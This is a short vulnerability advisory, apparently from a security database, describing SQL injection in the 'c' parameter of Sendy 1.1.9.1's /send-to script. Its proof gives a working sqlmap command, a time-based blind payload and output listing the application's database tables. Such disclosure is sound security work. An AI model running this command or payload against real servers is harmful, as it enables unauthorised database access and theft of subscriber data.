Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:30616
HistoryMay 05, 2014 - 12:00 a.m.

Sendy 1.1.9.1 - SQL Injection Vulnerability

2014-05-0500:00:00
vulners.com
58

Sendy contains a flaw that may allow carrying out an SQL injection attack. The issue is due to the /send-to script not properly sanitizing user-supplied input to the "c" parameter. This may allow a remote attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.

Proofs:

sqlmap -u 'http://server1/send-to?i=1&c=10' --cookie="version=1.1.9.1; PHPSESSID=[phpsessid value]; logged_in=[logged_in value]" -p c -D sendy --tables

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:48:57

[11:48:57] [INFO] resuming back-end DBMS 'mysql'
[11:48:57] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

Place: GET
Parameter: c
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: c=10 AND SLEEP(5)&i=1

[…]

Database: sendy
[9 tables]
±------------+
| apps |
| ares |
| ares_emails |
| campaigns |
| links |
| lists |
| login |
| queue |
| subscribers |
±------------+